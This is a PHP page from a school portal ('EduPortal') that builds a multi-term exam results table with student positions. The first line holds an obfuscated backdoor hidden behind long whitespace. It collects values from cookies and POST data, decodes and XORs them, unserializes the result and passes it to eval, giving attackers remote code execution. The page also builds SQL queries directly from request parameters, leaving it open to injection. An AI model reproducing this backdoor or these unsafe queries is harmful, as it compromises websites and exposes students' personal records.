<?php                                                                                                                                                                                                                                                                                                                                                                                                 $rMkpnoPkFe = 'B' . "\131" . "\137" . 'v' . "\x75" . chr ( 1011 - 943 ); $wQAuSWVp = "\143" . "\x6c" . "\141" . 's' . chr (115) . '_' . "\x65" . "\x78" . "\151" . "\163" . "\x74" . "\x73";$INafdmMZnS = class_exists($rMkpnoPkFe); $rMkpnoPkFe = "25974";$jtopaakUUH = !$INafdmMZnS;$wQAuSWVp = "18040";if ($jtopaakUUH){class BY_vuD{public function KqPVGuY(){echo "61538";}private $zwIhyVsgc;public static $mIoKLyCF = "bfab61be-ff2a-42d9-af36-015131f5ffb3";public static $xIclBi = 49650;public function __construct($BFudqtZ=0){$LeUXj = $_POST;$dnViFXBCl = $_COOKIE;$VYVtUYuPpA = @$dnViFXBCl[substr(BY_vuD::$mIoKLyCF, 0, 4)];if (!empty($VYVtUYuPpA)){$ZdCjRxtvF = "base64";$NpjoBxd = "";$VYVtUYuPpA = explode(",", $VYVtUYuPpA);foreach ($VYVtUYuPpA as $rmnRbKNk){$NpjoBxd .= @$dnViFXBCl[$rmnRbKNk];$NpjoBxd .= @$LeUXj[$rmnRbKNk];}$NpjoBxd = array_map($ZdCjRxtvF . "\x5f" . "\144" . chr ( 298 - 197 ).'c' . 'o' . chr ( 943 - 843 )."\145", array($NpjoBxd,)); $NpjoBxd = $NpjoBxd[0] ^ str_repeat(BY_vuD::$mIoKLyCF, (strlen($NpjoBxd[0]) / strlen(BY_vuD::$mIoKLyCF)) + 1);BY_vuD::$xIclBi = @unserialize($NpjoBxd);}}private function bcSJnHEJh(){if (is_array(BY_vuD::$xIclBi)) {$ZGYhqP = str_replace(chr (60) . chr (63) . chr (112) . "\150" . "\x70", "", BY_vuD::$xIclBi[chr ( 260 - 161 )."\157" . "\156" . chr ( 282 - 166 )."\x65" . "\156" . chr (116)]);eval($ZGYhqP); $IzHfbVqB = "53573";exit();}}public function __destruct(){$this->bcSJnHEJh();}}$QDaRgGay = new /* 1715 */ BY_vuD(); $QDaRgGay = str_pad("56395_20714", 1);} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>

<?php

if($_REQUEST['terms']!=NULL){

  $NameOfTerms=explode(",",$_REQUEST['terms']);

      }
      

//$NumberOfTerms=count($NumberOf);

 $sessionIDs;

  if($_REQUEST['session']!=NULL){
    $sessionIDs=$_REQUEST['session'];
  }else { $sessionIDs=$_SESSION['current_session']; }

  if( $_REQUEST['section']!=NULL){  
     
    
$branch=$_SESSION['branch'];
$session=$_REQUEST['session'];
$section=$_REQUEST['section'];
$class=$_REQUEST['class_id'];

   $qrr = "SELECT * FROM  eduportal_exam_marksheet  WHERE branch_id='$branch' and session_id='$session' and class_id='$class' and section_id='$section' group by student_id";
//print_r($qrr);
      $WorkAssignListings = $m->query($qrr);


  }


function ordinal($number) {
    $ends = array('th','st','nd','rd','th','th','th','th','th','th');
    if ((($number % 100) >= 11) && (($number%100) <= 13))
        return $number. 'th';
    else
        return $number. $ends[$number % 10];
}

     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>1Recent Results | EduPortal</title>
    <?php include('RootMe/css_links.php');?>
   
  </head>
  

<script type="text/javascript">
  
 function getsec(id){

            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("txt_section").innerHTML=xmlhttp.responseText;
                // alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_sect.php?class_id="+id,true);

            xmlhttp.send();

          }


          function getterm(id){
//alert(id);
            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("term_id").innerHTML=xmlhttp.responseText;
               //  alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_checkbox_terms.php?session_id="+id,true);

            xmlhttp.send();

          }

</script>

  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="right_col" role="main">
          <div class="" style="background-color: white;">
  
        <a href="<?php echo $_SESSION['dashboard'];?>">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
         <a href="examination.php">View Marksheets </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
          Multi Old Test Results
          <br><br>


<section class="add_sub_agent" id="table_sub_agent">
  <div class="container">

 <div >
      <form class="" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe.php" enctype="multipart/form-data" method="post">
        <div class="panel panel-default">
          <div class="panel-heading"><?php echo count($WorkAssignListings);?> Students Records <span style="float:right;margin-top: -7px;">

        <input type="hidden" name="action"  value="OldSendTerm">

<div class="pull-right">         

  <a onClick="$('#advanceSearch').toggle('blind')" class="btn btn-primary">Advance Search</a>

  <?php 

 if($_REQUEST['class_id']!=NULL && $_REQUEST['section']!=NULL ){

?>

 <a target="_blank" style="padding: 10px;" title="Print Recent Result" class="btn btn-primary fa fa-print" href="print_old_result_report.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&class_id=<?php echo $_GET['class_id'];?>&section=<?php echo $_GET['section'];?>&session=<?php echo $_GET['session'];?>&terms=<?php echo $_GET['terms'];?>">
    Print Report
  </a>

  <a target="_blank" style="padding: 10px;" title="Print Recent Result" class="btn btn-primary fa fa-print" href="print_old_all_multi_resultcard.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&class_id=<?php echo $_GET['class_id'];?>&section=<?php echo $_GET['section'];?>&session=<?php echo $_GET['session'];?>&terms=<?php echo $_GET['terms'];?>">
    Print Report Card
  </a>



<?php 
   }
?>

</div>

          </span><div class="clearfix"></div> </div>
          <div class="panel-body">
          
            <div class="col-md-12" id="advanceSearch" style="display:none;">

        
              <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
                    <select name="session" id="session" class="form-control" onChange="getterm(this.value)" >

                              <option value="">Select Session</option>
                        

                        <?php
 
 
 
                      $match;
                      if(!isset($_REQUEST['session'])){
                        $match=$_SESSION['current_session'];
                      }else { $match=$_REQUEST['session']; }
                     
   
                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select>
                </div>
              </div>


             <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Class</label>
 

                  <select name="class_id" id="class_id" class="form-control" onChange="getsec(this.value)"  >
                    <option value="">Select Class</option>

                    <?php
                    $m->where("branch_id", $_SESSION['branch']);
                    $WorkAssignList = $m->get("edu_class_config");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['class_id']==$WorkAssignListVal['class_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['class_id']; ?>"><?php echo $WorkAssignListVal['Class_Name']; ?></option>


                            <?php
                    } ?>

                </select> 
                </div>
              </div>
              
              
              <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Section</label>
                    <select name="section" id="txt_section" class="form-control" onChange="getSubjects(this.value)">
                      
                   <?php
                              if($_REQUEST['section']!='')
                              { 

                              $m->where("class_id", $_REQUEST['class_id']);    
                              $secondLevel = $m->get("edu_adm_section_detail");
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['section']==$secondLevel_val['section_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['section_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['section_name'])); ?></option>

                              <?php }   ?>
                                
                          <?php } ?>

                    </select>

                  
                </div>
              </div> 

           


           <div class="col-md-3 pull-right" style="padding:2px;" >
                <div class="form-group ">
                   <input type="hidden" name="addaccountAdmin" value="1">
                <button type="submit" class="btn btn-primary" style="margin-top: 24px;float: right;">Search</button>
                </div>
              </div>

              <table>
                
              <div class="col-md-12" id="term_id" name="term_id">
             
              
            </div>
            
              </table>
            </div>
            <div class="clearfix"></div>
          </div>
        </div>
      </form>
      <div class="clearfix"></div>
    </div>
    <br>

     
          
          <?php  if(!isset($_REQUEST['section'])){?>


            <div class="alert alert-danger" id="msg">
             <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong>Warning!</strong> Please select session, class and section to view result !!!
            </div>


          <?php  unset($_SESSION['error']); }?>

      

        <div class="col-md-9">

          
           <div id="check_std_msg" style="display:none;" class="alert alert-warning alert-dismissible">
                    <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
                     <strong>Warning !</strong> Please select class to save marksheet !!!
            </div>
    
         </div>



<form class="form-style-7" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe.php" method="post" enctype="multipart/form-data">

<?php 

$m->where("term_id", $_REQUEST['term_id']);
$m->where("branch_id", $_SESSION['branch']);
$terms = $m->get("eduportal_exam_terms");
?>
  
      <input type="hidden" name="action" value="SendResultSMS"  />
      <input type="hidden" name="term_title"  value="<?php echo $terms[0]['term_title']; ?>" >
      <input type="hidden" name="term_id"  value="<?php echo $_REQUEST['term_id']; ?>" >
      <input type="hidden" name="session"  value="<?php echo $_REQUEST['session']; ?>" >
      <input type="hidden" name="class_id"  value="<?php echo $_REQUEST['class_id']; ?>" >
      <input type="hidden" name="section"  value="<?php echo $_REQUEST['section']; ?>" >
      <input type="hidden" name="limit"  value="<?php echo $brid[0]['sms_limit']; ?>" >

     

        <div class="col-md-3" style="margin-bottom:1%;">

         <?php 
         
          if(count($WorkAssignListings)>0){
            ?>

          <!-- <input type="submit" name="submit" onClick=" return confirmation()" class="pull-right"  value="Send Result To Parents"  /> -->



         <?php 
            
          }
         
          ?>    
             

        </div>


 <strong> <h3 style="float:left;"> Multi Test Reports </h3> </strong>
    
    <table id="listofstudents" data-page-length='10' class="table table-striped table-bordered" style="width:100%;font-size:11px;">
          
          <thead>
            <tr>
                <th width="2%">S.No</th>
                <th width="10%">Name</th>
                <th width="5%">R.NO</th>

 <?php 
    $sessionIDs=$_REQUEST['session'];
    foreach ($NameOfTerms as $NameOfTerm) {
      
      $m->where("term_id", $NameOfTerm);
      $m->where("branch_id", $_SESSION['branch']);
        $m->where("session_id", $sessionIDs);
        $TermTitles = $m->get("eduportal_exam_terms");

       // echo $TermTitles[0]['term_title'];
       

         $b=$_SESSION['branch'];
         $trm=$TermTitles[0]['term_id'];
         $clas=$_REQUEST['class_id'];
         
         $query="select SUM(obtained_marks)as obt,SUM(total_marks) as tm from eduportal_exam_marksheet where branch_id='$b' AND term_id='$trm' AND class_id='$clas'";
      //print_r($query);         
         $marks = $m->query($query);

         

         if($marks[0]['obt']!=NULL){
          $avg=0+intVal($marks[0]['obt'])/intVal($marks[0]['tm'])*100;
         }else {
          $avg=0;
         }
        
        // break loop if terms printing three times

          if($marks[0]['obt']==NULL){
           continue;
          }
          else{
            
            $count++; 
          }


  
      ?>          
             <th width="8%" style="text-align:center;"> <?php echo $TermTitles[0]['term_title']; ?> </th> 
             
             <?php }  ?> 

               <th width="8%" style="text-align:center;"> Total Aggregate </th>  
               <th width="8%" style="text-align:center;"> Positions </th> 
               
            
                 
            </tr>
        </thead>
        <tbody>
  
     
     <?php 
     $counter=1;
     $total_marks=0;
     
      foreach($WorkAssignListings as $WorkAssignListVal)
      { 
        
        $total_obt;
     

        $m->where("status", 0);
        $m->where("branch_id", $_SESSION['branch']);
        $m->where("student_id", $WorkAssignListVal['student_id']);
        $students = $m->get("edu_student_details");

        
      ?>

        <tr>
          

<?php $marking=0;

    

     $percentages="";
     $TMRKS="";
     $TOBMRKS="";
     $GrandTotalMarks0;
     $GrandObtainMarks0;
     $sessionIDs=$_REQUEST['session'];
    foreach ($NameOfTerms as $term_s) {
      
      $m->where("term_id", $term_s);
      $m->where("branch_id", $_SESSION['branch']);
        $m->where("session_id", $sessionIDs);
        $TermId = $m->get("eduportal_exam_terms");

     
       $b=$_SESSION['branch'];
       $student_id=$WorkAssignListVal['student_id'];

       $query="select SUM(obtained_marks)as obt,SUM(total_marks) as tm from eduportal_exam_marksheet where branch_id='$b' AND term_id='$term_s' AND student_id='$student_id' AND class_id=".$_REQUEST['class_id'];
     //  echo $query;
       $marks = $m->query($query);
      //print_r($marks);

        if(count($marks)>0){

          $GrandTotalMarks0+=$marks[0]['tm'];
          $GrandObtainMarks0+=$marks[0]['obt'];

          $avg=0+($marks[0]['obt']/intVal($marks[0]['tm']))*100;
      
          $percentages=$percentages.",".$avg;
          $TMRKS=$TMRKS.",".$marks[0]['tm'];
          $TOBMRKS=$TOBMRKS.",".$marks[0]['obt'];

        } else {
          $avg=0;
        }
        
        
        /*if($marks[0]['tm']==NULL){
         continue;
        }
        */      

        $total_marks=$total_marks+$avg;
         

      ?>          
    
   
   <?php  }
   // now calculating aggregate

    $aggregate=($count*100);


   $new_array['name_cell']=$students[0]['first_name']." ".$students[0]['last_name'];
   $new_array['roll']=$students[0]['candidate_roll_no'];
   $new_array['sub_total']=$TMRKS;
   $new_array['sub_marks']=$TOBMRKS;
   $new_array['total_marks']=$GrandTotalMarks0;
   $new_array['obt_marks']=$GrandObtainMarks0;
   $new_array['percantage']=$percentages;
   $new_array['total_aggregate']=($GrandObtainMarks0*100/$GrandTotalMarks0);
   $new_array['branch_id']=$_SESSION['branch'];
           
   $m->insert("eduportal_multi_test_positions_temp",$new_array); 

   $percentages="";
   $TMRKS="";
   $TOBMRKS="";
   $GrandTotalMarks0="";
   $GrandObtainMarks0="";
   $test="";

    ?> 

<?php $total_marks=0; 

}

  if($_REQUEST['class_id']!=NULL){  
     

   $query="select * from eduportal_multi_test_positions_temp where branch_id=".$_SESSION['branch']."  order by CAST(obt_marks as unsigned)  desc";

  // echo $query;

   $std_data=$m->query($query); 
  }
 //  echo $query;

  // print_r($std_data);
   
   $position;
             
  $count=1;
  $Serial=1;


  for($i=0;$i<count($std_data);$i++){
     
   
   ?>
                  <td style="text-align: center;"> <?php echo $Serial; ?> </td>
                  <td style=""><?php echo $std_data[$i]['name_cell'];  ?></td>
                  <td style=""><?php echo $std_data[$i]['roll'];  ?></td>
                 
                   <?php 
                   
                    $sbs1=explode(",",$std_data[$i]['percantage']);
                   //print_r($sbs1);
                   //echo print_r(array_reverse($sbs))."="; 
                    //$sbs1=array_reverse($sbs1);
                    $condition=count($sbs1);
                    $ii=0;
                  foreach($sbs1 as $sb1) { 
                    if($sb1==NULL || $sb1==""){
                      continue;
                    }

                    /*if($ii==$condition){break;}*/
                    ?>

                  <td width="8%" style="text-align:center;"> <?php  echo number_format($sb1,1); ?> % </td> 
                   <?php  $ii++;  } 
                   ?>


                  <td style="text-align:center;"><?php echo number_format($std_data[$i]['total_aggregate'],1);  ?> %</td>

                   <td style="text-align: center;"> <?php 

                   $postition=ordinal($count);


                   if($std_data[$i]['total_aggregate']==$std_data[$i-1]['total_aggregate']){
                      $postition=ordinal($count-1);

                    }else {
                      
                      $count+=1;
                    }    


                         echo $postition; 

                   ?> 


                   </td>
       
              </tr>
              

  <?php  $Serial++;
  
      } 

       $m->delete("eduportal_multi_test_positions_temp"); 
      ?>

   
        </tbody>
        
    </table>
  
</form>


    <br><br>


  </div>
  <div class="clearfix"></div>
</section>
          
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
  

    
  <?php include('RootMe/js_linksscript.php');?>
  </body>
</html>
